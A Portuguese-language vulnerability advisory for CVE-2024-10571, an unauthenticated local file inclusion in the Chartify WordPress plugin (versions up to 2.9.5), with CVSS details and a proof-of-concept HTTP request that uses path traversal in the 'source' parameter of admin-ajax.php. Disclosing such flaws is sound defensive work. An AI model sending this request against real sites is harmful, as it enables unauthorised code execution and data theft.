CVE-2024-10571

Chartify – Plugin de Gráficos WordPress <= 2.9.5 - Inclusão de Arquivo Local Não Autenticada via source

Descrição

O plugin Chartify – WordPress Chart Plugin para WordPress é vulnerável à Inclusão de Arquivo Local em todas as versões até e incluindo a 2.9.5, através do parâmetro 'source'. Isso possibilita que atacantes não autenticados incluam e executem arquivos arbitrários no servidor, permitindo a execução de qualquer código PHP nesses arquivos. Isso pode ser usado para contornar controles de acesso, obter dados sensíveis ou obter execução de código em casos onde imagens e outros tipos de arquivos "seguros" podem ser enviados e incluídos.

Detalhes

• Tipo: plugin
• Slug: chart-builder
• Versão Afetada: 2.9.5
• Pontuação CVSS: 9.8
• Classificação CVSS: Crítica
• Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-10571
• Status: Ativo

POC

POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../../../var/www/html/poc&type=chart-js HTTP/1.1
Host: wp.local
Content-Length: 63
Content-Type: application/x-www-form-urlencoded

action=ays_chart_admin_ajax&function=display_plugin_charts_page